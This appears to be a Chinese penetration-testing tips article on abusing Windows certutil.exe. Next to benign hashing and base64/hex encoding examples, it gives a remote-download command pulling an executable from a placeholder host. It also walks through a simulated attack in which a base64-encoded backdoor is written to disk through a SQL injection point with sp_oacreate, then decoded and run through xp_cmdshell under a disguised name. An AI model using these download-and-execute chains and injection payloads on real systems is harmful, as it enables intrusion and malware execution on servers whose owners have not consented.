技巧 Tricks | certUtil 命令渗透实战利用
🌍 0x00 前言
certutil.exe 是一个命令行程序,作为证书服务的一部分安装。可以使用 certutil.exe 转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原 CA 组件,以及验证证书、密钥对和证书链。
应急响应中经常使用 certutil 命令来计算样本 Hash,渗透测试项目中也可以使用该命令来远程下载或写入文件来进行下一步动作,同时还可以解决换行问题。
📍 0x01 远程文件下载
c:\> certutil -urlcache -split -f http://1.1.1.1/a.exe c:\temp\a.exe
|

📍 0x02 计算文件 Hash
⚙️ MD4
c:\> certutil -hashfile lcx.exe MD4
|
⚙️ MD5
c:\> certutil -hashfile lcx.exe MD5
|
⚙️ SHA-1
c:\> certutil -hashfile lcx.exe SHA1
|
⚙️ SHA-256
c:\> certutil -hashfile lcx.exe SHA256
|
⚙️ SHA-512
c:\> certutil -hashfile lcx.exe SHA512
|

📍 0x03 任意文件编码
⚙️ Base64 Encode
c:\> certutil -encode lcx.exe c:\temp\out.txt
|
⚙️ Base64 Decode
c:\> certutil -decode c:\temp\out.txt c:\temp\demo.exe
|
⚙️ HEX Encode
c:\> certutil -encodehex lcx.exe c:\temp\hex.txt
|
⚙️ HEX Decode
c:\> certutil -decodehex c:\temp\hex.txt c:\temp\test.exe
|
📍 0x04 读取证书信息
c:\> certutil -dump ca-burdle.crt
|
📍 0x05 模拟实战利用
此次模拟实战的环境为目标系统具有 SQL 注入漏洞,
// Target - server 08 172.16.232.140
// Hacker - win 7 172.16.232.136
|
⚙️ 生成后门

⚙️ 文件转码
c:\> certutil -encode fuckthem.exe c:\temp\demo.txt
|

⚙️ 写入后门
一句话木马上传写入
SQL 注入点写入后门
declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Windows\temp\readme.txt', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, 'xxxxxxxxx'
|
⚙️ 执行程序
一句话转码直接执行
SQL 语句执行
EXEC master.dbo.xp_cmdshell 'certutil -decode c:\windows\Temp\readme.txt c:\windows\Temp\update.exe & c:\windows\Temp\update.exe'
|
⚠️ 0x06 后记
需要注意的几点:
在 cmd 中一次执行多条命令语句,用 &&
// 在运行可执行文件时需要绝对路径 c:\> certutil -decode .\demo.txt .\update.exe && c:\update.exe
|
在 powershell 中一次执行多条命令语句,用 ;
PS c:\> certutil -decode .\demo.txt .\update.exe; c:\update.exe
|
